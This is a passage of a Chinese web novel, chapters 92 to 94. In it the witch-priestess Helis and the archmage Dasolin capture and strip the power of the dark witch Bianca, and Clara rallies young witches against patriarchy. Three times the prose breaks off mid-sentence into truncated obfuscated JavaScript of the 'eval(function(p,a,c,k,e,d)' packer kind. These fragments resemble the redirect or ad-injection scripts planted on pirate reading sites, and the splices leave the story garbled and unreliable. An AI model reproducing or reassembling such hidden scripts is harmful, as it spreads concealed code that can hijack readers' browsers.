出发在即,莫兰特来不及多说,只将当时的情况大致告知给克劳拉。 “我知道了,我会询问城中守卫。”克劳拉神色凝重,赫利斯昨天下午来城中,此时都快晚上了,却不见踪影。 会不会是碧安卡……克劳拉心中突地一跳,碧安卡之前曾随口提起过她的母亲,赫利斯姨妈和母亲长得那么像…… 一想到这,克劳拉待不住了,她立刻将出征适宜都交给伊登处置,离开前犹豫片刻还是轻轻对塔道:“注意安全,一路小心。” 塔在胸口捶打两下,回应她的信任。 夜色里,装载货物的动静很大,混杂着士兵们喧哗声。 因为国王使者的到访,这两天城中天一黑就会变得无比寂静,与城门口形成鲜明对比。 克劳拉对于怎么找寻赫利斯,毫无头绪,她茫然地骑在马上,心中万分忧虑。 “小姐!您不是要去巫师塔吗?”安娜打断了她的思绪,克劳拉回过神,确实去找女巫是最好的方法。 看来碧安卡的实力确实强大,前有骗过达索琳的结界,现在又能在女巫眼皮子底下混进城中——也或许不是碧安卡,赫利斯只是有事离开了而已,克劳拉在心中安慰自己。 “请问,您知道如何前往巫师塔吗?”碧安卡直觉眼前的女人十分强大,她的魔力试探靠近眼前人身体后毫无回响。 当然她的魔力探测并非时常有用,至少在克劳拉·德文希身上栽了跟头。 克劳拉·德文希就算不是女巫,身上也绝对有女巫留有的保护道具。 这一次碧安卡绝不会再重蹈覆辙。 赫利斯早已透过玻璃橱窗的反射看清了身后两道身影,男人的脸隐在兜帽中,正转头四下打量。 而女人大方展示着动人的容貌,深棕色的长发,泛着银光的眼睛。但这些都掩盖不住她身上那股臭味。 神色未变,赫利斯转身,嘴角扬着微笑。 在看清她容貌后,眼前女人瞳孔微缩,尽管只有一瞬,但赫利斯作为祭司又是战士,绝不会错过这缕变化。 看来要不是被她美到了,就是认识蒂斯萝丝,赫利斯无不自恋地想。 “你要去巫师塔?你是女巫?” 是蒂斯萝丝!不对,蒂斯萝丝明明已经死了,她亲自确认过的。碧安卡拢在袖中的手紧握,差点刺破掌心。 二十几年前,蒂斯萝丝第一次来到王都时,她的美貌简直令空中最闪亮的星辰都黯淡无光,明明已经年近三十,还怀着孩子。 碧安卡本就无法忍受自己诞下两个孩子后走样的身材,被各种琐事磨损的容颜,且逐渐被古斯塔厌倦。见到蒂斯萝丝后她更是嫉妒得发疯。 如果蒂斯萝丝能成为自己养分就好了——嫉妒催生了恶念,恶念又吸引来了魔鬼。 巧合之下,她认识了黑巫师阿尔蒙,和圣城合作,成为了黑 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今日国王使者来访,德文希兄妹绝对在应对使者,没有多余的心思关注城中,这是她最好的机会。 她忍住翻腾的杀意,露出恰到好处的笑容,“是的,我是一位女巫。” 太可疑了,赫利斯微微打量着眼前的女人,女巫身上可不会有这种特殊的气味。 不过看在巫师塔的小女孩们都是她最喜欢的模样,也是克劳拉想要保护的人。赫利斯决定陪这位假女巫周旋周旋,看看她想要做些什么。 “听说女巫都会传送魔法,证明一下自己并不难吧——我可不会带假冒的女巫去巫师塔。” “当然。”碧安卡伸手,示意赫利斯将手搭在她的掌心。 赫利斯照做。碧安卡又一把抓住莱文的胳膊。 几个呼吸间,周围的楼房迅速褪去,她们出现在了城外的树林里。 “这下你相信我是女巫了吗?”碧安卡常用的手段,就是装作无害柔弱的模样,大部分人不论男女,都会下意识信任她。 没有理会撑着树干干呕的莱文,见赫利斯丝毫不受传送阵的影响,她确信眼前女人不是女巫也会和女巫有关。 至少绝对能带她找到女巫。 “既然这样,我就带你去巫师塔吧。”赫利斯下意识想上马,才想起马匹被她寄放在街口的马廊里。 难道要徒步走上山吗,太可怕了。 “先不着急,”碧安卡轻柔地拦住她,“听说入塔会有严格的测试,我想我还没有做好准备。您也是女巫吗?可以和我说说测试的内容——当然不能说也没关系。我会付给您报酬,金钱、魔法道具都可以。” 赫利斯欣然点头,祭司本质来说也是一种巫,她也会神奇的图腾魔法,是女巫没错了! “入塔测试也不是什么很难的事,没什么不可说的……” 将巫师塔考核一一道出,只不过赫利斯隐瞒了最重要的一点。 如果对巫师塔尤其是女巫持有恶意的普通人,只会被法阵随机传送走。但若同为巫师,恶意多强烈,法阵的反噬就会有多强烈。 “谢谢你的解答,已经很晚了,或许我们应该回城中夜宿一晚?” 碧安卡虽然说着,黑暗中的发尾却微微泛白,她已经决定带走眼前的女巫,不管她和蒂斯萝丝是什么关系,最终也只会落得一样的下场。 “我觉得,在树林里扎营住一晚也没关系——如果你的利器不偷偷指着我的话。” 黑暗中赫利斯的双眸泛起幽幽的绿光,而在她身后,一双双荧绿的狼目也在黑暗中闪烁着, “女巫阁下,要比比看是谁更擅长魔法吗?” 92. 第92章 狼群肆意奔跑在树林中,这里是它们的舒适区,无需赫利斯指挥,它们无师自通地追逐着碧安卡。 相比之下,碧安卡显得狼狈很多,甚至从未这么狼狈过。尽管她在来时的路上,已经补充过能量,但伊甸园被破坏,还是让她受了不轻的损伤。 尤其还带着拖后腿的莱文。 莱文几度被狼群咬中负伤,碧安卡不得不将他变成一只臭鼬,塞进怀中。 赫利斯追得很紧,碧安卡没有时间绘画远距离传送法阵,只能短距离快速传送。 但每次刚落地,很快会被空中盘旋的雪绒鸟发现,并发出预警。 如果不是克劳拉·德文希! 她神色扭曲地再次躲开狼群的伏击,而最令她痛恨地是身后追逐她的怪物! 用作利器的发丝已经被削了大半,剩余的凌乱发丝只能简单地保护自己。 每当她以为自己甩开了怪物,得到片刻喘息,不久后,又会听到那熟悉的如噩梦般的声音。 “不知名的女巫阁下~不要再跑啦!天都快亮了!我们该休息休息了!” 赫利斯扛着一把巨斧,心中感慨自己到底上了年纪了,跑都跑不动了,让女巫阁下逃窜了那么久。 巨斧上还残余着血色与发丝,不得不说这位女巫阁下的头发确实坚硬,她的巨斧都留下了豁口。 不过也没坚硬到砍不断的程度。 像跳蚤一样跑来跑去的,可真烦人。但是没关系,赫利斯在原地舒展一下四肢,很快就要到终点了。 “找到你了!女巫阁下!” 巨斧从天而降,碧安卡躲得及时,只被削去了裙摆拖尾。 她拖着破烂的裙装,再一次试图瞬移,只是这次魔力殆尽的她,只逃出了不过十多米。 碧安卡抬手甩出两瓶毒药,一路上她已经使用了不少药水,可惜都无法伤害到赫利斯,只能稍稍争取点逃跑时间。 灌木瞬间枯死,泥土腐烂发臭。有狼也被药水溅到,它的皮肤被腐蚀,发出哀叫。 赫利斯蹙眉,这一带树林都被这假冒的女巫毁得差不多了,狼群也死伤几只。 没办法,她虽然可以免疫诅咒,但对这种腐蚀性药水无法完全免疫,受伤也无法像维尔图人迅速愈合,只能避让。 赫利斯停下脚步,蹲着安抚了一下狼群,目光深沉地注视着碧安卡消失的背影。 晨光熹微,太阳光先一步越出地平线。 终于不再被追逐的碧安卡没有放松,她仍然往深山之中逃去。既然暂时没有人类可以让她恢复魔力,她打算先去树林中杀几只动物。 体力恢复后再避开这些女巫传进城中——没想到她刚到德林郡遇到的第一个女巫就如此强大,或许是她低估了女巫的实力。 但越是强大,诞下的子嗣献祭后也能让她受益更多。 昏暗的林中,碧安卡没有注意到一座高耸入云的塔楼,静静伫立在她的头顶的山脉。 直到她踏入法阵,刺眼的光芒照亮了她的憔悴的脸庞。 碧安卡终于见到了她心心念的巫师塔,同时也意识到,赫利斯故意将她往这里驱赶。 但此时已经来不及,她已经被法阵控制在原地动弹不得。 威严且不可拒绝的声音在脑内响起。 “入塔者谁?” “碧安卡·布尔戈”“莱文·温斯顿” “入塔为何?” 碧安卡因为强大的魔力,还能勉强控制自己不去回答法阵的问询。但变回人型的莱文根本无法自控,倒豆子一般将他与碧安卡的谋划全盘托出。 在白光彻底笼罩莱文前,熟悉的身影出现在碧安卡面前,轻松提起了莱文。 “可不能让人质被传送走了。”赫利斯微笑旁观着被法阵反噬折磨得痛不欲生的碧安卡, “抱歉抱歉,忘记告诉你入塔前还有这么一个法阵了——毕竟谁知道女巫居然也会对同胞抱有恶意。” 灰蓝色的天空中,巫师塔静静地注视着碧安卡,就像一座大山。 碧安卡发出一声尖锐的嘶吼,她用尽剩余魔力,燃烧自身生命,用血为契想要发起最后的传送。 她要放弃莱文了,永生的禁咒还有很多种,只要她还活着,就能一直寻找。 只要逃离这里—— 染红的双眼紧紧盯着赫利斯,确认她的动作,一旦赫利斯有任何阻拦的念头,碧安卡一定会拼尽全力杀死她再走。 但赫利斯只是撇嘴,这种事是巫师塔的工作,她才不掺和。若不是碧安卡想偷袭她,她也懒得纠缠这么久,一晚上没睡觉简直对皮肤伤害太大了。 反正眼前这位也逃不掉,碧安卡过分在意她,反而忽视了身边逐渐环绕的魔法锁链。 果不其然,赤红的法阵闪烁几下,却没能将碧安卡带离这片区域。 “上次让你逃走,你为什么会认为这一次在我的地盘,还能顺利逃脱。” 复杂的符文在达索琳的右手臂上盘旋,最终又汇聚进她手中魔杖。 高塔的窗口探出一张张好奇的脸,巫师塔中不提供住宿,通常住在山下的维尔图小镇。此时出现在塔中的大都是熬夜实验的女巫和术士。 碧安卡遥遥与他们对望,既然逃不走,她决定拼一把冲进塔中!哪怕吸收其中任何一个人,也能让她恢复大部分实力,并顺利逃脱。 而此时的高塔内,众人议论纷纷,完全没有任何紧张感,没有巫师可以强行突破大巫进入塔中。 “不然试试我新做出的大炮,我一直很想知道女巫和热武器谁更强!” “还是试试我为阁下新作的防身武器,射入人体后箭头顶端会瞬间喷射出麻醉药,几滴即可麻痹一头牛——当然,若是阁下想要换成毒药也可以。” “这是我新研发的魔咒,专门针对黑巫师,送上门的黑巫师,我可要和大巫说好活抓她……” 暴涨的发丝瞬间笼罩住达索琳,众人发出一声惊叹。 随即发丝就像那日的百合花一般,燃起火焰,蔓延速度极快,若非碧安卡及时自断长发,火焰就要烧到她的身上。 即便如此火舌也燎伤了她的额角。 但比她更快的是达索琳的咒语,束缚咒去荆棘一般缠绕住她,令她无法动弹半分。 碧安卡任由这些荆棘划破她的皮肤,染上她的鲜血,只肖片刻,这些荆棘被黑气腐蚀得滋滋作响。她也因此变得更加虚弱,脸色苍白,眼角也带上了细细的皱纹。 紧接着魔法光链代替枯萎的荆棘,锁住了碧安卡的四肢。 “你的魔力已经耗尽了,继续抵挡不过是消耗生命力罢了。”达索琳的魔杖抵在了她的眉心, “这份力量不属于你,你应该将它归还给未安息的亡灵。” 魔杖与眉心交汇处隐隐发光,光芒逐渐变大,甚至盖过了才露头半边的太阳。碧安卡只觉得身体内部有什么东西被抽取。 她惊恐地叫起来:“那是我的力量!既然进入了我的体内!就该属于我!” 无数亡灵尖叫扭曲着从她身体内挤出,塔内众人皆被这刺耳的哀鸣影响。 “这家伙,到底吃了多少人?”赫利斯捂住耳朵,忍不住抱怨。 只有达索琳面不改色,她从踏入那座结界时,就感受到了无数怨灵葬身于此。 如今也不过是让这些亡灵自由而已。 这场释放持续了将近半小时,大量的亡灵回荡在巫师塔附近,漫无目的地漂浮着,她们失去了记忆,也找不到可去之处。 而失去了所有魔力的碧安卡,并没有死去,她只是变回了原本的模样。 她的容貌并不差,赫利斯必须承认,即使现在她脸上布满了皱纹,也能看出年轻时绝世的容颜。 碧安卡不愿失去体面,哪怕身体极速老化,体力和青春不复,层层叠叠的皱纹爬上了她的面容,仍然死死地站着。 目光狠厉地瞪视着想要逼近她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“是祭祀之舞!”克劳拉肯定道,没有人可以随意遗忘那段玄妙的舞蹈,以及与舞蹈常伴的铃声。 但是巫师塔为何大晚上祭祀,是发生什么事了吗? 安娜猛地想起今天上午收到过渡鸦的传信,她一捶掌心,“啊!大巫今天上午有传信过来!只是当时小姐你在和弗洛伦斯小姐谈话,之后又一直很忙——” 总之不是赫利斯出事了就好,克劳拉摆手不在意安娜的道歉,和她一同下马走进巫师塔。 这一次的场地远比上一次简陋很多,仅在周围架起了九个火盆。 但不仅仅是维尔图的祭司,克劳拉初次见赫利斯的祭祀舞,也是初次见到双人祭祀。 和老祭司的沉稳、游刃有余不同,赫利斯的舞蹈大开大合,动作极具力量感。 她的铃声随着鼓点,轻重错落地作响。 但又不至于掩盖老祭司的辉芒,两人配合得很好,像是在—— 克劳拉想了想,像是在传承。 就是在传承。 同时,鼓点和上次庆祝丰收和战士那种激昂的感觉全然不同。这次的手鼓很轻盈,混合着幽幽的排萧声。 良久,一舞必。 盆中火焰瞬间暴涨至一人高,眨眼间,又变得微乎其微,橘黄色的焰火不复存在,碳盆上只覆盖着一层微弱的蓝光。 身边传来一阵惊呼,克劳拉抬头望去,微光从这些焰火中缓缓升上天空,逐渐铺满整个视野。 几串蓝光调皮地在两位祭司身边转悠,被赫利斯轻戳着推走,汇入大部队,持续地上升,直到变成星星。 赫利斯轻声吟唱起安神曲,和克劳拉之前听过的不同,这首充斥着哀伤。 围观的人都顺着赫利斯的歌声,默默为逝去的亡灵祈福。 克劳拉也如她们一般,伸出右手,尽管此时的她并不知道发生了什么,她只是出于本能,轻声祝福道:“愿你们来世常与鲜花美好相伴。” 93. 第93章 祭祀之舞结束以后,克劳拉才得知碧安卡刚被被关押在巫师塔牢笼中。 这场祭祀,是献给死于碧安卡私欲的亡灵的安魂曲。 她去见了一眼碧安卡,如今的碧安卡如同老妪,身体佝偻得不像样,缩水的皮肤没有了肌肉支撑,层层叠叠堆积着。 算算年龄她明明才不到五十,怎么会如此。 “这是反噬。”达索琳见怪不怪,使用禁咒总不可能毫无代价。 但碧安卡的状态不太对,她紧闭双目,身体不自觉抽搐着,达索琳眉头一锁,才发现梦魇法阵被人偷偷启动了。 这些年轻女巫真是越来越有自己想法了。达索琳没有多说什么,只打算私底下敲打一番。 克劳拉有些唏嘘,碧安卡当然有罪,她也应该为她的行为付出代价,但塑造碧安卡这样怪物的终究另有其人。 最初两个月不断有黑巫师来巫师塔试图救走碧安卡,巫师塔的防御法阵一再加强。这些黑巫师最终都被投入了牢中,成为实验对象。 圣殿骑士也明里暗里来过几次,不过有阿方索和贾斯透风报信,德林郡早早做了准备。 看来碧安卡的存在对圣城来说十分重要,只是女巫们用尽手段也没从碧安卡口中得到什么消息。 对待她的儿子莱文手段残忍多了,可惜莱文知道的并不多,无非是他拥有众多私生子,而这些孩子没有一个拥有巫师血脉,最后他们和孩子母亲都被碧安卡带走。 他什么都不用管,只用听从碧安卡的安排就好。 这一双儿女都不过是碧安卡的工具,但莱文并不无辜,就是不知道伊丽莎白又在这个过程中扮演什么角色。 她将这些消息润色后分别传给艾洛薇和安德鲁,内容有细微区别。 莱文后来被狮鹫骑士们带王都判决,而碧安卡,因为特殊性仍然留在巫师塔。 现任狮鹫骑士队长来时神色复杂,但连安德鲁本身都没有过多插手克劳拉的事,他只是个骑士长,更没理由多言。 碧安卡没有被杀死,她被关在一间满是镜子的牢房里,一直面对自己衰老的容颜。夜里还会启动梦魇法阵,让她反复经历被她害死的女孩们的死亡瞬间。 克劳拉多问了一嘴伊丽莎白会如何。队长摇摇头,他也不清楚,反正目前只是被关在王后宫中,安德鲁似乎并不打算让教会介入。 不让教会介入确实是最好的选择,谁知道圣城会不会培养下一位碧安卡。 在初得知碧安卡所做所为时,年轻女巫们都表现得义愤填膺。 不仅仅是针对碧安卡,她们一部分人回想起自己被指控为女巫时,冷眼旁观的亲人、激烈或控诉或辱骂她们的邻居。 比起男人,对她们的遭遇冷漠以待甚至做推手的同性更让她们痛恨。 “美貌的人才能享有更多的东西!那我长得丑陋就活该被烧死吗?” “母亲难道不也是女人吗,她为什么要这样对我?” “美貌不是原罪,贫穷才是!贵族阶级的家伙才是最应该被烧死那些!” 安娜也表现得很激动,在克劳拉身边待得太久,她都快忘记了自己曾经遭遇的一切——只要你被认为是错误的,那么你连呼吸都不应该。她加入了年轻女巫们激烈地讨论着。 台上的授课女巫敲响了几次教鞭都无济于事,这种情况强行下禁言咒也适得其反,她头疼地找来达索琳。 但达索琳并没有阻止她们的讨论,平静地表示时不时在众人面前发表自己的言论很重要,这种讨论不在于思想的正确与否,而在于独立思考。 当然过于偏激的思想,事后她还是会干预。 达索琳还邀请同行的克劳拉一起听取。 两人从后门进入,没有引起任何人的注意,坐在不起眼的角落,安静地旁观她们的争吵。 “抱歉,让您看到了这种不理智的场面。” 达索琳虽然这么说,完全不见制止的意思。 “这是为她们而建的巫师塔,”克劳拉笑道,“如果连在这里,她们都没有言论的自由,那这座塔的意义又是什么呢?” 达索琳也笑,她常年面无表情,总是严肃庄重的模样,这么一笑,倒像是一位慈祥的长辈。 克劳拉认真观察着这座教室里数十位年轻女巫。 有些脾气火爆,站着手撑在桌上,声音洪亮——克劳拉记得她,她不仅仅年纪轻轻就已经能够独立使用魔咒,在格斗术、剑术方面也表现优秀。 有些冷静自持,语速缓慢却逻辑清晰地和她人辩论——这是一位在数学和物理学方面表现优异的女巫,连达索琳都感慨她的天赋,并认为她已经教不了这种天才。 有些虽然结结巴巴,红着眼眶半天才能说出几句话,但克劳拉记得两年前她还是一个非常内向的女孩,甚至无法和人交谈,如今她已经能够主动表达自己的意愿了。 有些只是侧耳倾听,很少发表看法,但一旦她开口,必是一针见血的言论,直击她人口中的漏洞。 这个社会总是想把女性往同一个模板培养,却忘了她们也是人,每个人生来就是不同的。 克劳拉想,或许他们需要的不是人,而是物品、是没有自己思想的人偶。 毋庸置疑,那绝对是错误的——社会怎么可能光靠一半人就能进步,尤其那一半人中大多都不够理智、不够聪慧、也不够有同理心。 安娜正和人争论贵族女性的立场。 “碧安卡不就是个很好的例子,她根本和那些男人是一伙,做的事甚至更恶劣更恶心!我们不能指望任何贵族,这么多年她们没有作为,以后也不会有!” “那你能坐在这里是因为谁!这座塔是克劳拉小姐建立的!艾洛薇小姐也同样是资助人!你凭什么对她们的付出视而不见!” 安娜绝不能容许她人说一句克劳拉的不是,哪怕这是她的同学。 面前的女孩有瞬间的心虚,很快她又大声道:“即使没有克劳拉阁下,大巫迟早也会建立这座塔。而且谁知道她是真心为我们,还是说只是为了塔带来利益!这座塔里不还有众多术士和异教徒,他们还都是男人呢!” “替男人谋出路,压榨我们生存空间的,我不相信她的人格!” 她的话说出口,达索琳也瞬间皱眉。克劳拉本人倒没有太大的反应,她饶有兴趣地等待其他人的发言。 很快另一位女孩反驳道:“我不认为术士压榨了我们的生存空间,是老师们教习的课程变少了?还是我们的衣食住行变差了?还是说你认为没有他们,塔中的经费就会无条件无限制地落到我们头上?” “恰恰相反,进入塔中后,我们的待遇哪怕比在女巫岭都要好,有足够明亮的教室、各种器皿、能够随心所欲在城中闲逛、做自己想做的事。术士和老师们研制的实验为阁下带来利益,阁下也将这些利益回馈到我们身上,这明明是双赢!” “这些术士连老师们都经常和他们讨论各种实验,时不时他们也会为我们上课。关键不是教授的性别,而是教授的能力,我们能从中学到什么!” “大巫说过,只要入塔后就是能者居之,你这种不努力提升自己,而是抱怨另一种性别存在,和他们有什么区别?还是说你在怀疑大巫的判断?项目通过的决定权在大巫手中,而不是克劳拉小姐手中。” 在这件事其他女巫难得达成统一,你一言我一语反驳起最初说话的那位。 被大家联合起来反驳,女孩有些遭不住,但她还是坚持自己的看法, “抛开克劳拉阁下不谈,那其他贵族女人呢!玛丽·温斯顿最初答应大巫会帮忙,最后将计划搅得乱七八糟,就为了她的私欲。还有王都的海伦女校,她们接受了平民接受不到的教育,又做了些什么?” 听到有人说自己老师,克劳拉没忍住站了出来,“这个问题我想我来回答更合适。” 众人此时才发现两位,也不知道她们旁听了多久,多少有些脸热。纷纷开口和她们打招呼。 克劳拉慢慢走过来,半靠在课桌上,直视着这位激进的女巫,“你的名字我记得是珍妮,很好听的名字。我不知道你遭遇了什么,但看得出来你对贵族心存不满。我承认贵族制度存在弊端,我站出来也不是针对这一点,而是想为我的母校、我的老师辩护。” “当然,这是您的权力。”珍妮一开始有些不安,但克劳拉友善的态度让她稍稍冷静下来,和众人一起安静地等待克劳拉的发言。 克劳拉轻笑了一声,稍微变化了下姿势,半坐在课桌上,她的身高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“碧安卡确实罪不可赦,但究其根本,是社会的错,是我们没有话语权的错。如果我们拥有足够的权利,不再受他们的凝视,只凭借真正的实力立足于社会,容貌于我们而言不再是必需品,只是锦上添花。” 美貌即权力,这是暴论!看似美好,因为大都数时候保持美貌和青春付出的成本与代价并不大,碧安卡那种极端还是特例;实则不过是来自父权,来自真正掌权者的一种施舍。 性/交易也是同理,看似仅仅是付出自己的身体罢了。 他们歌颂圣女的贞洁,歌颂母亲的伟大。当女人有才华时,他们讨论她的容貌;当女人美丽动人时,他们讨论她的贞操;当女人一无所有时,他们道至少你还能成为合格的母亲。 就像是捕鱼,只需要一点点鱼饵,就会遭到鱼群的疯狂抢食;有时渔民还会饲养一种鸟为他捕鱼,箍住这种鸟的脖颈让它无法吞咽,偶尔漏些鱼给它,鸟儿就会奋力为渔民捕鱼,这些最终的既得利益者都只有渔民。 “听上去很耳熟不是吗?成为他们的帮手、欺压你们的同性;为了争夺所谓的权利,竞相攀比容颜、身材、才华,甚至不惜伤害她人的同性。” “仔细想想,最终得利到底是她们自己,还是幕后嬉笑着看你们互相争斗的父权们?所以不要将武器对准和你们同性别的人,而是要推翻幕后的主使,将他们拉到阳光下来,让他们阴暗的心思无处遁形!” 这一刻,克劳拉站直身体,紧握着拳头,放在胸口, “真正的敌人从不是我们的姐妹、我们的母亲!而是那些高高在上,试图操控我们作为女性一生的男性统治者!是那些不顾领民死活、只贪图享乐、贪图荣华富贵的贵族!是那些想要剥夺女巫能力、利用女巫、践踏女巫的教会人士!” “只有笔,那就去写、去画;只有头脑,那就去思考、去愤怒;而我有武器、有力量,那就为我们的女儿,去劈开一个崭新的不被束缚的未来!” 达索琳有时觉得克劳拉就像一个煽动者,她知道如何去牵起听众的愤怒,让他人的情绪为自己所用。 最可怕的是,她本人并没有意识到这一点,通常是凭借自己的本能在说这些话,无论是在西亚尔玛大学、在那个破旧的医院、在驻守边疆时、亦或是现在。 至少现在,这些年轻的女巫们,各个眼中都饱含怒火与斗志,她们高举着拳头,似乎各个都想要立刻为克劳拉口中的推翻父权而奋斗。 当然,这并不是坏事。 甚至当她获得足够的权力,并有意识地掌握言语的力量后,她会变得所向披靡,达索琳确信这一点。 克劳拉·德文希,会是一位传奇的国王。 94. 第94章 刚下过雨的田地,将将冒出几缕绿色。 克劳拉算算时间,又到了冬季作物成熟的时候了。 今天的晨练,克劳拉一如往常的凶狠,穿着整套锁子甲的骑士被她借力蹬出场地,翻滚几圈才捂着胸口躺平。 旁边对练的骑士们都觉得心口一痛,这一年阁下越来越暴躁了。或许是因为国王时不时来德林郡讨东西,也或许是经常来德林郡骚扰民众的黑巫师与教会人员。 也知道自己下手过重的克劳拉,缓步走到骑士面前将他拉起来。 “抱歉,有些没控制力道,没受伤吧?” 骑士简直受宠若惊,习惯性张嘴就是一段赞美的话。 克劳拉表情一言难尽,这些雪鸮骑士在莫兰特手下待久了改不过来,哪怕莫兰特都离开快一年了。原以为亚克能管管,结果连亚克都默许了这种行为。 拆卸装备时,安娜过来了,她说:“小姐,碧安卡昨晚死了。” 克劳拉很冷漠,算算碧安卡都在巫师塔地牢待了快一年了,这时候选择自杀,她并不意外。 “我去看一眼吧。” 她到的时候,祭司正在举行镇魂仪式。 死去后的巫师,哪怕是黑巫师,她们的魔力会四处溢散,重新回到天地间。 强大的巫师逝去后甚至会滋生出一整条魔法石脉。 碧安卡即是如此,她溢散的魔力让女巫们搞到不适,不得不将她的尸首带离塔内。镇魂仪式结束后,就会送至女巫岭。 达索琳还是给予了碧安卡足够的体面,为她准备的灵柩。也是为了锁住四溢的魔力,让她的尸首在女巫岭再彻底消散。 四周的年轻女巫表情很平静,似乎因为半年前克劳拉那番话,对她的仇恨消散了很多。至少对于她们来说,没必要一直记得一位值得憎恨的人。 “罪恶会随死亡消散,死亡将带来新生。” 达索琳简单地祝祷了片刻,回首时注意到了克劳拉一行人。 “大巫,”克劳拉向她问好,遥望着灵柩,还是没有上前,“您下午要回女巫岭?” “对,碧安卡的魔力极有可能生成魔石脉,趁早带离德林郡,以免带来不必要的麻烦。” 不必要的麻烦指的是圣城。 几周前阿方索传信过来,告知克劳拉激进派恐怕有大动作。整个圣城暗流涌动,不少非激进派的神父被暗杀,死相凄惨,像是被吸干了一般。阿方索不得不请求女巫的保护。 达索琳派遣了几位经验丰富的女巫前往王都,阿方索是重要的合作伙伴,这个节骨眼确实不能让他死亡。 克劳拉还要去巡视领地,只待了小会就离开了。 今年的冬天格外冷,春天也比以往更晚抵达德林郡。 整整一个冬天,克劳拉都没有前往边境,四处巡逻。保证领民的房子不会被风雪压塌,争取不让任何一位领民冻死或饿死。 这很难做到,不过基本每家每户都有前往学校学习的孩子,哪怕是无父无母的孩子。 通过有意识培养这些年幼的孩子,克劳拉可以轻易掌握整个领地的情况。 村落里遇到任何问题都可以通过这些孩子上报给学校的老师,最终汇总到菲米娅手中,由她管理确认哪些需要克劳拉出面,哪些只用尽快吩咐给其他人。 “小姐,或许您应该再另找人筛选一下这些问题,家中母猪下崽了这种事就不用上报到我这了。”菲米娅忙得头疼极了,每天都在和克劳拉抱怨。 但克劳拉也没办法,领地实在太缺人手了,学校才普及不到三年,她已经提拔了不少人才,但仍然远远不够。 菲米娅身边好歹还有佩妮。她身边才是没有助手,除了偶尔帮她整理文书的安娜,但安娜最主要的还是学习。 雪莉已经完全不再插手克劳拉的事,全心全意投入她自己的事业中。 达索琳建议她通过某种考核手段,招收大量的官员,即使是来自其他领地也无妨,先只做底层的官员,再多根据能力和忠诚度,继续考核选拔。 不获得足够的信任,不让他们接触核心。这样总比直接任命贵族后裔要好,毕竟这些贵族谁知道又代表哪些势力。 还是老问题,大部分平民不识字,识字的平民又基本选择进入教会,只有少部分愿意来到德林郡。但由于他们来自教会学校,克劳拉又不能全然信任他们。 “看来想要统治一个国家并不难,难得是要维持和发展。”克劳拉忍不住和伊登抱怨,她觉得自从她管理平民后,事情反而越来越多。 以往那些贵族全然不管平民死活,每天只要吃喝玩乐,收钱即可。 而克劳拉要关心这些平民能不能吃饱喝好,是否过上好日子。此时她才发现这件事比她想象的要困难多了。 伊登有时会觉得她自讨苦吃,平民只要不死就好了,反正他们会一直生。 但克劳拉反问他:“那你觉得是每次出行都是热情和你聊天打招呼的平民好,还是带着恶臭、只敢瑟缩跪伏在地上的平民好?” 伊登不敢说其实他更享受别人的敬畏,因为克劳拉更喜欢友善、充满活力的平民。不过确实干净整洁的领地让他更舒适。 克劳拉不要太了解伊登,看他若有所思的表情就知道他的想法,毫不留情地抽了他,“你只需要让你的敌人敬畏,而对于子民更重要的是他们的爱戴。” “滚去你的边防线,别来碍我的事!” 或许自己更适合战场,不适合和这些平民打交道,伊登挠头。 “还有,别让我知道你的士兵又去农户家吃东西,不然你就和你的士兵一起去牢中呆着吧!军中没有粮食直接上报,要么让他们自己打!绝对绝对不准抢农户的!” “知道了!知道了!”伊登两脚抹油,迅速逃跑。 伊登的士兵就和他一样散漫,哈里斯根本管不住他。克劳拉又有些怀念塔在的日子了,至少他的执行力很强,对士兵,对战士在某些方面都说一不二。 弗洛伦斯每个月都会给她写信,塔倒是一封信都没有,克劳拉有些不悦。 古斯塔攻打下了好几个要塞,很快就能占领一整个郡,奥菲帝国几次求和都失败了,或许没有给足古斯塔想要的。 又有几个国家趁乱加入了战场,整个西大陆一团乱。 不过这和德林郡关系不大,德林郡和西亚尔玛从来只专注于巨魔的战场。 好消息是巫师塔新研制的火炮在针对巨魔上取得了巨大的成效,但火炮实在不好运输,火药也弥足珍贵。 大多数时候还是士兵们人力围剿,因为姐妹会与新医者协会的存在,士兵的死亡率大幅度降低。 果然还是缺铁,可惜铁脉也不是随随便便就能碰到,西亚尔玛那座克劳拉没有过多染指,侯爵愿意分她三分之一铁矿已经是情分了。 才刚开春,田地里正抢收着燕麦。农民直腰擦汗的间隙,望见了骑马经过的克劳拉和骑士们,立刻吆喝着和她打招呼。 克劳拉微笑着和他们挥手。 路上又随口考校了几个正放假玩耍的孩子,有几个男孩支支吾吾答不出来,莉莉立刻大声嘲笑他们。 “太笨了你们!连我都知道啦!领主大人!快问我!快问我!” 莉莉去年冬天才勉强去学校的年纪,但她虽然年幼,却展现了与众不同的聪明才智。 顺着她的话,克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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克劳拉从未想过自己成为不了国王的可能性,既然她想要,也有这个实力,就一定要达成。王后继承权是捷径,但不是唯一途径。 对于安德鲁,她有些心情复杂。毕竟安德鲁现在是她的盟友,彼此之间互相利用。 但在成为国王的路上,安德鲁又是绊脚石。 也不知道艾洛薇到底打算怎么解决安德鲁,克劳拉思索着,如果艾洛薇狠不下心,那还是由她亲自来将绊脚石踢开。 回到城堡里后,克劳拉只简单的清洁、用餐,又要面对堆积的公务。 伊登已经在回程的路上,最多明天就能回到城堡。 雪莉和萨曼也结束走商,会在五月节之前返回德林郡。 艾洛薇写信抱怨着克劳拉又不回王都过节,而玛格丽特则邀请她去西亚尔玛过节。 没办法,克劳拉回信给艾洛薇,一旦她离开了,德林郡可就得被国王陛下一洗而空。 